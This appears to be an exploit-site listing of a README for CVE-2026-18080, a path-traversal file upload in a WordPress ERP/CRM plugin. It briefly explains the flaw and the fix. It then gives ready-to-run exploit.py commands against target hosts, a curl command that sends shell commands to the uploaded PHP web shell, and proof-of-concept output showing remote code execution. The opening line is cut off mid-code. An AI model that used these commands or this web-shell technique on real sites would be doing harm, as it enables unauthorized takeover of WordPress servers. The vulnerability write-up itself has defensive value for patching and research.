Sploitus

Exploit for CVE-2026-18080

githubexploit · 2026-08-26

Exploit Code

README49 lines
## https://sploitus.com/exploit?id=8A1B2302-F76D-54FA-8C2C-8532C9B19B7D
# CVE-2026-18080 — ERP Complete HR, Accounting & CRM Suite put_contents( $dir . $name, $item['data'] );
```

The filename `../../plugins/shell.php` concatenated with `$dir` (`wp-content/uploads/crm-attachments/`) resolves to `wp-content/plugins/shell.php` — a directory where PHP execution is allowed.

The fix (v1.17.8) adds `sanitize_attachment_filename()` which strips directory components via `basename()`, rejects path separators, and blocks dangerous extensions.

## Exploitation

### Method 1: Direct (wp-cli)

```bash
python3 exploit.py -t https://wordpress.ddev.site
```

### Method 2: Custom path and shell name

```bash
python3 exploit.py -t https://target.com --shell evil.php --path themes
```

### Method 3: phpinfo probe

```bash
python3 exploit.py -t https://target.com --phpinfo
```

After successful upload:

```bash
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
```

## Proof of Concept

```
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
```

## Files

| File | Description |
|------|-------------|
| `exploit.py` | Python exploit script using wp-cli |
| `exploit.php` | Standalone PHP exploit for wp eval-file |
| `README.md` | This file |